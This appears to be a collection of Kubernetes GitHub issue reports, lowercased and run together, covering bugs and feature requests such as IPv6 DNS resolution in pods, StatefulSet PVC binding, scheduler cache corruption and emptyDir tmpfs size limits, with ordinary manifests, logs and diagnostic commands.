/etc/os-release :\r macos 10.12.6\r - kernel  e.g.  uname -a  :\r darwin fangs-macbook-pro.local 16.7.0 darwin kernel version 16.7.0: thu jun 15 17:36:27 pdt 2017; root:xnu-3789.70.16~2/release_x86_64 x86_64\r \r - install tools:\r installed by homebrew, and vm-driver is xhyve

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r installing a new cluster with kubeadm on a set of baremetal machines with the following content in /etc/resolv.conf\r \r     nameserver 2001:4860:4860::8888\r \r results in a working cluster, but pods aren't capable of resolving dns such as google.it  internal resolution works fine . apparently, pods can't understand ipv6-only nameservers: changing /etc/resolv.conf to\r \r     nameserver 2001:4860:4860::8888\r     nameserver 8.8.8.8\r \r fixes the issue.\r \r   what you expected to happen  :\r \r pods should be capable of resolving dns through an ipv6 nameserver.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r schedule a pod on a node with ipv6 only nameservers.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: baremetal vms\r - os  e.g. from /etc/os-release : debian stretch\r - kernel  e.g.  uname -a  : linux 4.9.0-5-amd64  1 smp debian 4.9.65-3+deb9u2  2018-01-04  x86_64 gnu/linux\r - install tools: kubeadm\r - others: n/a\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r a sudden increase in load caused all pods for a deployment to decide to fail their readiness checks in order to not get overloaded. this caused the hpa to not being able to collect any metrics because it only considers \ ready\  pods, so no autoscaling occurred.\r \r   what you expected to happen  :\r \r the hpa should consider the ratio of pods that are available/unavailable and be able to make a decision based on this as well as the normal metrics.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.7\r - cloud provider or hardware configuration: gke\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r i create pvc  www-test-0 , with storageclassname  test , but not bound. \r \r then ,  a statefuletset created, as follow, with different storageclassname\r \r any pod can not be created for that pvc cannot creating.\r \r    \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   labels:\r     app: nginx\r   name: web-test\r   namespace: default\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: nginx\r   servicename: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - image: nginx\r         imagepullpolicy: always\r         name: nginx\r         ports:\r         - containerport: 80\r           name: web\r           protocol: tcp\r         resources: {}\r         volumemounts:\r         - mountpath: /usr/share/nginx/html\r           name: www\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: 5gi\r       storageclassname:   test1  \r       volumemode: filesystem\r    \r \r 2 reasons:\r \r - 1. statefulset controller would not update pvc when pvc already existed\r - 2. validation would prevent the pvc to update.\r \r   what you expected to happen  :\r \r pvc that is not bound can be updated and then bound\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. pvc named www-web-test-0  already, but unused and not bound. like this:\r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   labels:\r     app: nginx\r   name: www-web-test-0\r   namespace: default\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r   storageclassname:   test  \r   volumemode: filesystem\r    \r \r 2. a statefulset is created, like this. then the pvc would not be updated, a pod can not be created\r \r    \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   labels:\r     app: nginx\r   name: web-test\r   namespace: default\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: nginx\r   servicename: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - image: nginx\r         imagepullpolicy: always\r         name: nginx\r         ports:\r         - containerport: 80\r           name: web\r           protocol: tcp\r         resources: {}\r         volumemounts:\r         - mountpath: /usr/share/nginx/html\r           name: www\r       dnspolicy: clusterfirst\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r     spec:\r       accessmodes:\r       - readwriteonce\r       resources:\r         requests:\r           storage: 5gi\r       storageclassname:   test1  \r       volumemode: filesystem\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

it should do zero updates in steady-state!  split off from  14273

though the nodename was updated in https://github.com/kubernetes/kubernetes/pull/20378, which seems to clean up a bit of the can't find node in aws issues, there is still an issue in the ebs provider that causes the volume to never mount.  this is due to https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/aws_ebs/aws_util.go l180.  this seemed to show up in https://github.com/kubernetes/kubernetes/commit/1ae1db60272afb70b17dbaa6a43bfe1ccc4a0aad with the cut and paste update.    previously attachdisk was called as:  volumes.attachdisk \ \ , b.volumeid, b.readonly   in https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.7/pkg/volume/aws_ebs/aws_util.go l38, which if you follow the code for alpha 7 called  c.getawsinstance instancename   in https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.7/pkg/cloudprovider/providers/aws/aws.go l1164 which instancename is \ \  so that in  getawsinstance  at https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.7/pkg/cloudprovider/providers/aws/aws.go l1137  if nodename == \ \  {  was hit, so  aws.getselfawsinstance    was used.  now, attachdisk is called as  awscloud.attachdisk b.volumeid, b.plugin.host.gethostname  , b.readonly   which now still calls  c.getawsinstance instancename   but now instancename is set to the host name, which in our case is the custom dns zone name, so when  getawsinstance  is called now, it falls into the other side of the if and hits  instance, err := aws.getinstancebynodename nodename   which finally is where the issue resides, as the host name is not the name that is \ findable\  in aws, hence all the way back to the issue where the private dns name was used in  20378.  ok, sorry that was a lot of lead up, but wanted to be really clear about the issue.  now, given this, there are a couple things i see: 1. we can add a \ getnodename\  to https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.8/pkg/kubelet/volumes.go that would return  vh.kubelet.nodename  and then use  b.plugin.host.getnodename    that everywhere  b.plugin.host.gethostname    is used in https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.8/pkg/volume/aws_ebs/aws_util.go 2. we could add a \ getproviderid\  to https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.8/pkg/kubelet/volumes.go that would return  vh.kubelet.cloud.instances.instanceid vh.kubelet.nodename   and then use  b.plugin.host.getproviderid    that everywhere  b.plugin.host.gethostname    is used in https://github.com/kubernetes/kubernetes/blob/v1.2.0-alpha.8/pkg/volume/aws_ebs/aws_util.go 3. rethink what we use as the \ key\  into the provider.  i still struggle with using node name here.  one thing that  20378 causes us, which is tangential to this issue, is that now our node names have no meaning to us as the name, which \ looks\  like a dns name, really isn't a dns name because it is the wrong dns zone.  ultimately right now  1 is probably the fastest to get out the door but i think there is still more conversation to be done around \ what\  should be used for the node name and where/how \ providerid\  is used.  also as a note, the reason for the overly intricate issue here is that we currently do not have a cla  still working through this internally  so can't pr yet.  i could fork and make the change and pr but it wouldn't be merge'able until we get a cla, at \ some point\ .  happy to do this if that is the right approach.  just put the details in here in case there is someone who does have a cla and wants to make the change quick.  it also helps us to have a conversation about which approach seems right.

$ k get pv name           capacity   accessmodes   status     claim                        reason    age pv-gce-lzuru   10gi       rwo           released   demos/pv-provisioning-demo             12m      @childsb @swagiaal

per  this comment  https://github.com/kubernetes/kubernetes/pull/21675/files r57190315  we need stripped down  objectmeta  to be used for templates  eg.  podtemplate ,  jobtemplate , etc. .  @bgrant0607 @deads2k @lavalamp

issues like https://github.com/kubernetes/kubernetes/issues/27883 are a menace, they're hard to track down and take time to fix. in the meanwhile, the sq keeps getting blocked because quota on the test project is usually pretty low and there are too many projects to keep bumping quota up on each one.   we can already detect leaks, obviously: https://pantheon.corp.google.com/m/cloudstorage/b/kubernetes-jenkins/o/logs/kubernetes-e2e-gce-ingress/7981/artifacts/gcp-resources-after.txt we already fail tests on leak why not just delete the detected resorces?   @kubernetes/sig-testing i think this would alleviate a long time chronic issue that plagues us around release time

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : cinder\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r 1.5: https://github.com/kubernetes/kubernetes/blob/release-1.5/pkg/volume/util/operationexecutor/operation_executor.go l790\r 1.6: https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_generator.go l387\r \r silently ignores errors that are thrown when interacting with the volume plugin. specifically  wrong cloud provider  is ignored which leads to wasted time investigating why things aren't working.\r \r   kubernetes version    use  kubectl version  : 1.5.3 / 1.6.0\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : ubuntu xenial\r -   kernel    e.g.  uname -a  : linux worker-01 4.4.0-31-generic  50-ubuntu smp wed jul 13 00:07:12 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  : kargo\r \r   what happened  : related to https://github.com/kubernetes/kubernetes/issues/34698 issuecomment-264708775, i had missed setting -cloud-provider +  -cloud-config in the kubelet configuration, but had them present in the controller-manager. this allowed the controller manager to provision storage and attach it to the appropriate worker node, however the worker node/kubelet didn't know about it. \r \r \r   what you expected to happen  : see log messages indicating that something is misconfigured\r \r \r   how to reproduce it    as minimally and precisely as possible : configure api-server/controller-manager/etc manifests with  --cloud-provider=openstack --cloud-config=/etc/kubernetes/cloud_config  but leave this option out of the kubelet service. \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r latest\r \r   environment  :\r all\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r cidr_allocator_test should test ipv6 and ipv4, not just ipv4\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r  \r \r   what happened  : existing dynamic client library does not support subresources.\r \r   what you expected to happen  : the library should support the subresources to facilitate e2e testing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r n/a\r \r   anything else we need to know?  :\r n/a\r \r   environment  : n/a\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /cc @lavalamp

is this a bug report or feature request?  :\r \r  \r  \r   what happened  :\r \r the scheduler panics with \ schedulercache is corrupted and can badly affect scheduling decisions\ . there are a few related issues reporting a similar bug   46347,  47150 , but in both of those issues the recommended fix is to upgrade to etcd 3.0.17. we're using etcd 3.2.0 which is newer than that. this happened in our production cluster twice today.\r \r some evidence that this is issue an with etcd:\r \r 1. scheduler fails with \ schedulercache is corrupted and can badly affect scheduling decisions\ \r 2. another scheduler on another machine gets elected the leader\r 3. that scheduler  also  fails with \ schedulercache is corrupted and can badly affect scheduling decisions\ \r \r conversely, evidence that it   isn't   an issue with etcd: when we later restart the scheduler  ~30 minutes later , the system recovers without any changes to etcd  according to the apiserver lots . so etcd's contents are at least not permanently corrupted.\r \r here's an excerpt of the logs.  full logs are in this gist  all the relevant kubelet/controller manager/apiserver/scheduler logs   https://gist.github.com/julia-stripe/5db6969f5d5d72d551d366317eb39161 \r \r    \r ======== scheduler  kubemaster--0fd4bec98eba7656c  ======\r \r i0818 09:16:25.678670       1 factory.go:511  about to try and schedule pod explorer-job-1503047460-7681l\r i0818 09:16:25.678677       1 scheduler.go:261  attempting to schedule pod: scheduled-jobs/explorer-job-1503047460-7681l\r w0818 09:16:25.679040       1 cache.go:228  pod scheduled-jobs/explorer-job-1503047460-7681l assumed to a different node than added to.\r i0818 09:16:25.679059       1 factory.go:725  attempting to bind explorer-job-1503047460-7681l to ip-10-68-30-4.us-west-2.compute.internal\r e0818 09:16:25.679061       1 cache.go:263  pod scheduled-jobs/explorer-job-1503047460-7681l updated on a different node than previously added to.\r w0818 09:16:25.679040       1 cache.go:228  pod scheduled-jobs/explorer-job-1503047460-7681l assumed to a different node than added to.\r e0818 09:16:25.679061       1 cache.go:263  pod scheduled-jobs/explorer-job-1503047460-7681l updated on a different node than previously added to.\r f0818 09:16:25.679081       1 cache.go:264  schedulercache is corrupted and can badly affect scheduling decisions\r \r \r >>>> stack trace redacted: panic <<<<\r \r ======== apiserver audit ======\r \r 2017-08-18t09:16:25.679953099z audit: id=\ 1e0516d4-9a95-4b4b-aaee-98a0894b3625\  ip=\ 10.68.24.10\  method=\ post\  user=\ kubemaster--0fd4bec98eba7656c.nw\  groups=\ \\\ kubemaster.northwest.prod\\\ ,\\\ system:authenticated\\\ \  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ scheduled-jobs\  uri=\ /api/v1/namespaces/scheduled-jobs/pods/explorer-job-1503047460-7681l/binding\ \r \r ======== scheduler  kubemaster--0aa8e87a222ebc781.nw  ======\r \r i0818 09:16:45.738257       1 leaderelection.go:189  successfully acquired lease kube-system/kube-scheduler\r i0818 09:16:45.738413       1 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-scheduler\ , uid:\ 3d55f039-8367-11e7-8b13-02708673f6f6\ , apiversion:\ v1\ , resourceversion:\ 737096\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' kubemaster--0aa8e87a222ebc781.nw became leader\r i0818 09:16:45.838560       1 shared_informer.go:116  caches populated\r \r i0818 09:19:22.361105       1 leaderelection.go:204  successfully renewed lease kube-system/kube-scheduler\r i0818 09:19:24.369669       1 leaderelection.go:204  successfully renewed lease kube-system/kube-scheduler\r i0818 09:19:25.338146       1 reflector.go:405  external/com_github_kubernetes/plugin/cmd/kube-scheduler/app/server.go:100: watch close -  v1.pod total 21 items received\r i0818 09:19:25.340488       1 factory.go:511  about to try and schedule pod explorer-job-1503047460-7681l\r i0818 09:19:25.340495       1 scheduler.go:261  attempting to schedule pod: scheduled-jobs/explorer-job-1503047460-7681l\r w0818 09:19:25.340723       1 cache.go:228  pod scheduled-jobs/explorer-job-1503047460-7681l assumed to a different node than added to.\r e0818 09:19:25.340741       1 cache.go:263  pod scheduled-jobs/explorer-job-1503047460-7681l updated on a different node than previously added to.\r f0818 09:19:25.340759       1 cache.go:264  schedulercache is corrupted and can badly affect scheduling decisions\r    \r \r \r   environment  :\r \r - kubernetes version  use  kubectl version  : 1.7.4\r - etcd version: 3.2.0-rc.1+git\r - cloud provider or hardware configuration  : aws\r - os: ubuntu 15.04\r - kernel: 4.4.0\r

kubectl 1.7+ fails to get the rollout history for any deployment on our 1.5.7 cluster. however kubectl 1.5.7 works just fine.\r \r we are using kubectl 1.7+ because any version below 1.7 appears to not preserve the order of environment variables when applying templates  issue  47248 .\r \r  \r   what happened  :\r  kubectl rollout history deployment/x   using 1.7.5 \r \r    \r deployments \ x\ \r no rollout history found.\r    \r \r   what you expected to happen  :\r  kubectl rollout history deployment/x   using 1.5.7 \r \r    \r deployments \ x\ \r revision\tchange-cause\r 7\t\t<none>\r 8\t\t<none>\r 9\t\t<none>\r 10\t\t<none>\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubectl 1.7.5 on k8s 1.5.7 cluster to get rollout history for deployments.\r \r   environment  :\r - kubernetes version: server 1.5.7, client 1.7.5\r - cloud provider: aws\r - os: coreos server, osx 10.11.6 client\r - kernel: linux kernel 4.12.10 server, darwin kernel 15.6.0 client\r

what happened  :\r the new  allowprivilegeescalation  feature has silent defaulting logic performed in the kubelet, related to whether the container requests privileged mode or the cap_sys_admin capability. instead, the kubelet should just use the value of the field if specified, and validation should be added to prevent setting the field to true for privileged or cap_sys_admin containers.\r \r /cc @jessfraz

short info:\r - k8s v1.7.2  soon going to v1.8.0 \r - bare-metal\r - os: ubuntu 16.04.03 lts\r - kernel: 4.11  lowlatency \r \r until now, we only had default ports  80,443  for our ingress objects to connect to running web applications. to enhance the connectivity for our ci/cd environment i route all our services to a nginx-controller pod, which is configured through configmaps to enable e.g. the jnlp-port  50000  of jenkins  which is also running in the cluster .\r \r for further development it would be a vast improvement  not only for us  to be able to add a service port list to the ingress objects to one host url.\r \r for example\r <pre><code>apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: dummy-name\r   namespace: dummy-namespace\r spec:\r   rules:\r   - host: dummy-url.foo\r     http:\r       paths:\r       - backend:\r           servicename: central-nginx\r           serviceport: 80, 8080, 9090 <-- today this is divided into 3x objects and urls\r         path: /</code></pre>\r \r _hint:  \r this is only possible if you modify your container ports in your ingress controller to support more than just the default ports!_\r \r the respective nginx config could contain server blocks for the specific listening ports.  \r to this day this is only possible with an ingress rule for every port needed, which means an own url for every port that needs to be exposed.\r \r 

ip addresses as a opaque counted resource  currently kubernetes scheduler is not aware of number of ip addresses available on a single node. we do have some assumptions about network masks, from which a number of available ips can be inferred, but this is not general or configurable in any way. we want to create a simple counted resource published by kubelet and visible for scheduler, which will allow finer grained configurations to be used.    resources in kubernetes  resource validation in kubernetes is performed as one of fitpredicates of scheduler, namely resourcefit predicate check. available resources are computed by reading resources from nodeinfo, and subtracting resources of pods currently bound to the given node. the data comes  indirectly?  from etcd in a form of api node > spec > capacity struct.  capacity is a part of nodestatus periodically updated by kubelet in tryupdatenodestatus method  even though capacity is a part of the nodespec . as of now, all node capacity data is read from cadvisor machineinfo struct. during node creation nodecontroller fills up capacity in some way  either statically or get it from the cloud provider , but later on it’s overwritten by data provided by cadvisor. iuuc kubelet is the only entity which triggers modifications of node entries after they are created.     ips as resources  introducing ip addresses as resources is straightforward: we need to add them to resourcelist/resourcename and related places, and modify podfitresources method in scheduler. in current model it is assumed that we have one ip per pod model, hence there’s no need of introducing additional scheduling requirements/usage info. in the future if we’d want to loosen this assumption changes to make will be pretty straightforward.  on top of those simple changes we need to decide how to keep the configuration. as it resides in nodespec, which is written by both kubelet and nodecontroller it can be a part of any one of configurations  node or kubelet . if it were a part of kubelet, then we’d need to wait for first “syncnodestatus” call before setting it up. on the up side doing it in kubelet will make the change of the ip number in runtime more robust  kubelet is and will be overwriting specs, so if anything else were to modify the value race condition would be possible .

an issue to make bot happy for https://github.com/kubernetes/kubernetes/pull/55316\r \r when statefulset finds any of its pods in phase failed it will delete it and create it again. while doing so it will emit delete+create event which is really confusing for the user as he has no idea what's happening.\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r some more test cases to run in a multizone environment:\r - deployment that requests multiple pvcs\r - statefulset using nodeselector on two specific zones  out of 3 , and multiple pvcs\r - nodes in specific zones get tainted

according to the following issue/comment, and early testing, it appears that statefulsets  are  able to participate in pod autoscaling. presumably, this can also lead to cluster or instance group autoscaling if statefulset pods cannot be scheduled. https://github.com/kubernetes/kubernetes/issues/44033 issuecomment-386753262_\r \r however, there are several misleading bits of documentation that indicate otherwise that should be updated, so folks are more aware of this feature:\r   \ kubectl help autoscale\ , does not list statefulset as a legal target.\r   https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/\r   https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale/\r   https://kubernetes.io/docs/tasks/run-application/scale-stateful-set/\r

helper functions are scattered in a lot of places. this makes the file to long, and hard to read. should move them to separate files. we also could split different interfaces  e.g. pod vs image  into different files.

i swear this used to work properly, but fails on my cluster  1.2 .  no test == broken, as usual.  it does eventually clear.  @artfulcoder @justinsb

observed weird memory spikes for both the dns healthz and kube-dns pods in production. kube-dns didn't oom because there's enough headroom, but healthz did. i can't explain the spikes yet. i tried a bunch of different repros: no resolv.conf, bad nslookup command, sharing the node with cpu hogs etc, but was unable to trigger it. the memory grows, but stays under 10mi.   as a short term mitigation, we stole some ram from kube-dns, because it was always comfortably within limits.   https://github.com/kubernetes/contrib/blob/master/exec-healthz/exechealthz.go related b/30262367

kubernetes advertises support for oauth / oidc, but it requires putting the client-secret into the kubecfg file.  i.e. it shares the oauth client-secret with end users.  this seems  on the surface  to be unsafe - i have not yet found any indication that the client secret is in fact _not_ a secret.\r \r some providers  e.g. tremolo  will generate a per-auth client-secret, so that the client-secret is no more a secret than the auth-token & refresh-token.\r \r is there any documentation to support the notion that client-secret is in fact not a secret, and it is safe to share the secret in this way?\r \r  thanks to @mlbiam for talking this over with me in sig-auth, and for explaining that this is a bad idea anyway in terms of policy and likely wouldn't pass an audit; his suggestion was that k8s should implement a traditional oauth flow .\r \r cc @kubernetes/sig-auth

flaky job: pr:pull-kubernetes-e2e-kops-aws  flakes in the past week:   21    consistency:   97.00%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 9 | |  k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod | 8 |   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | maisem |  k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod | | sig/node |  k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

the type currently contains a number of deprecated and experimental fields, which need to be moved to flags before the type can become ga.\r \r see  51307

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the tmpfs volume that's created with emptydir doesn't have the correct size limit. in fact, the tmpfs volume size is always half of the available ram on the kubernetes node, which is the default behavior on a linux kernel  https://www.kernel.org/doc/documentation/filesystems/tmpfs.txt . this implies that the size option was likely not provided when mounting a tmpfs. this is similar to the issue here: https://github.com/kubernetes/kubernetes/issues/48912.\r \r note: all the kubernetes components have the necessary feature gates enabled.\r \r   what you expected to happen  :\r \r the tmpfs volume should respect the  sizelimit  parameter, unless the  sizelimit  parameter is not meant for tmpfs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r step 1: create a deployment that with an emptydir volume with  medium  set to memory and  sizelimit  set to 1gi.\r    \r $ cat sample.yaml \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: test\r spec:\r   selector:\r     matchlabels:\r       app: test\r   template:\r     metadata:\r       labels:\r         app: test\r     spec:\r       containers:\r       - image: nginx\r         name: nginx\r         volumemounts:\r           - mountpath: /scratch\r             name: scratch\r       volumes:\r       - name: scratch\r         emptydir:\r           medium: memory\r           sizelimit: \ 1gi\ \r \r $ kubectl apply -f sample.yaml\r deployment \ test\  configured\r    \r \r step 2: inspect the volume mount and the size is not 1gb. instead, the size is 126gb, because the kubernetes node has 256gb of available ram.\r    \r kubectl exec -it test-56f7bb87d5-j68n5 bash\r root@test-56f7bb87d5-j68n5:/  mount -l | grep scratch\r tmpfs on /scratch type tmpfs  rw,relatime \r root@test-56f7bb87d5-j68n5:/  df -h /scratch\r filesystem      size  used avail use% mounted on\r tmpfs           126g     0  126g   0% /scratch\r    \r \r step 3: when exporting the deployment manifest file, the  sizelimit  option is retained, demonstrating that the necessary feature gates were enabled.\r \r    \r kubectl get pods test-56f7bb87d5-j68n5 -o yaml --export\r apiversion: v1\r kind: pod\r metadata:\r   creationtimestamp: null\r   generatename: test-56f7bb87d5-\r   labels:\r     app: test\r     pod-template-hash: \ 1293664381\ \r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: test-56f7bb87d5\r     uid: 63b2a2d3-4815-11e8-aacf-ec0d9a749964\r   selflink: /api/v1/namespaces/default/pods/test-56f7bb87d5-j68n5\r spec:\r   containers:\r   - image: nginx\r     imagepullpolicy: always\r     name: nginx\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /scratch\r       name: scratch\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-qb9lt\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: <host>\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.kubernetes.io/not-ready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - emptydir:\r       medium: memory\r       sizelimit: 1gi\r     name: scratch\r   - name: default-token-qb9lt\r     secret:\r       defaultmode: 420\r       secretname: default-token-qb9lt\r status:\r   phase: pending\r   qosclass: besteffort\r    \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r the api server, controller manager, scheduler, and kubelets have the following feature gates enabled:\r    --feature-gates=persistentlocalvolumes=true,volumescheduling=true,mountpropagation=true,localstoragecapacityisolation=true,deviceplugins=true   \r \r the only feature gate that is needed is  localstoragecapacityisolation , but the other features are enabled for other reasons.\r \r the kubernetes nodes in this cluster have 256gb of ram.\r    \r $ free -g\r               total        used        free      shared  buff/cache   available\r mem:            251           2         238           2          10         245\r    \r \r - os  e.g. from /etc/os-release :\r \r    \r  cat /etc/os-release \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r uname -a\r linux <host> 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r \r  kubeadm .\r \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r i want to set default memory limit in a namespace,and i use the api like this \r  http://localhost:8080/api/v1/namespaces/default/limitranges \r with\r    \r {\r \t\ apiversion\ :\ v1\ ,\r \t\ kind\ :\ limitrange\ ,\r \t\ spec\ :{\r \t\t\ limits\ : \r \t\t\t{\r \t\t\t\t\ default\ :{\ memory\ :\ 2.0gi\ },\r \t\t\t\t\ defaultrequest\ :{\ memory\ :\ 0.6gi\ },\r \t\t\t\t\ type\ :\ container\ \r \t\t\t}\r \t\t\t\t \r \t}\r }\r    \r \r however it return the value like this\r    \r {\r     \ kind\ : \ limitrange\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {\r         \ name\ : \ dc845b1f-67ef-11e8-90c9-000c2932c1fe\ ,\r         \ namespace\ : \ default\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/limitranges/dc845b1f-67ef-11e8-90c9-000c2932c1fe\ ,\r         \ uid\ : \ 